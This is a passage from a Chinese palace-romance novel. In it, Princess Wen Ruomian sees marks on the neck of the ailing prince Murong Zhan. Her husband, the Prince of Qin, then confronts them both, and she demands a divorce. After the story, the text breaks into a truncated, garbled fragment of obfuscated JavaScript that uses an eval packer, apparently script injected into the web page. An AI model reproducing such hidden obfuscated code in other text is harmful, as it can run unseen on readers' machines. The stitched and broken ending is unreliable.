肌肤之上。
点点落落,清晰分明,惊心动魄的刺目。
温若绵泣诉的声音戛然而止,乌眸骤然睁大,死死锁在那几抹触目的绯色上。
“呵……呵呵呵……”
她忽然低低笑了起来,笑声断续,却比方才的痛哭更显瘆人,“好……好一个‘不屑儿女私情’!王兄,你颈侧这……这旖旎风光,便是你当日誓言的明证么?”
旖旎风光?
颈侧?
戚云晞心头一撞。
昨夜的缠绵猝不及防地漫上心头……
黑暗中,凌乱的呼吸,紧拥时灼人的体温,就连情难自禁时,指尖划过他脊背时的流连,都记得是那般轻柔。
自己分明那般克制,怎会……将如此招摇的印记,留在了他身上?
难道……竟是邪药发作时,情潮翻覆、心神失守,不知不觉中留下的?
慕容湛正欲开口。
“好一番‘旖旎风光’。”
一道低醇却冷峭的嗓音,自梅林曲径深处传来。
秦王慕容嶙身披玄狐大氅,负手徐步而出。
他面上似噙着一缕笑,眼底的寒光在温若绵惨无人色的脸上一刮。
继而,慢条斯理地,落在慕容湛那毫无遮掩的脖颈上。
“本王远远瞧着,还当九弟在此静赏寒梅,”
他唇角勾了勾,却未有半分笑意,“不料……竟是在品味另一段‘风月’。九弟如今,倒是……颇得闲趣。”
寒风骤止。
温若绵浑身剧颤,脚下虚浮,几乎要瘫软在那冰冷的雪地里。
唇瓣似被冻住,彻底失了声。
慕容湛搭在轮椅扶手上的指节,几不可见地收紧了一瞬,却并未抬手去掩那颈侧痕迹。
面上,依旧是那副久病之下,厌世倦怠的漠然。
“七皇兄。”
他喉间滚出一声低咳,“雪径湿滑,您怎的孤身行至这僻静之地?”
慕容嶙轻笑一声:“不过是循着些不甚入耳的泣诉,来寻本王这位……心神不宁的王妃。”
他视线转向温若绵,语调沉缓如冰:“绵儿,你不是告禀,身子欠安需于偏殿静养?怎的……静养到九弟跟前来了?还哭得这般……情真意切,嗯?”
“王、王爷……”
温若绵泪水夺眶,语无伦次,“臣妾、臣妾只是……偶遇王兄……不,是九皇弟……”
慕容嶙眉梢微挑,缓步逼近,玄狐氅衣拂过积雪。
簌簌轻响,清晰入耳。
“偶遇?王兄?本王竟不知,你与九弟的情分,已亲近至此?”
他停在她咫尺之前,居高临下,忽地伸出两指,冰凉的指尖抬起她下颌,迫使她仰面,“那方才,是谁哀哀乞求‘一隅栖身’?又是谁,追悔莫及,口口声声‘本该站在他身边’?”
他竟悉数听去了!
温若绵瞳孔骤缩,滚烫的泪混着绝望,潸然而下。
她忽然挣开那指尖钳制,仰起脸直面慕容嶙冷冽的目光,一字一顿,从齿缝里挤出:“……既如此,王爷,那我们……和离罢。”
趁此刻,当着慕容湛的面,她尚有几分孤勇。
此事因他而起,总能……换他一丝愧怍。
和离?!
戚云晞心头猛地一悬。
若温若绵当真借此和离,再佐以慕容湛颈上那暧昧痕迹,在秦王眼中,岂非坐实了二人“私情”?
这已非寻常丑闻,而是玷辱兄嫂、悖逆人伦的重罪!
就在这令人窒息的时刻——
慕容湛忽地低低笑了起来,带着久病之人气力不继的倦哑。
“七皇兄,七皇嫂。”
他微微摇头,似是无奈,却隐带嘲弄,“二位夫妻间的体己之言,何苦拿到这冰天雪地里来说,还偏要……将臣弟牵扯在内?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c
35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.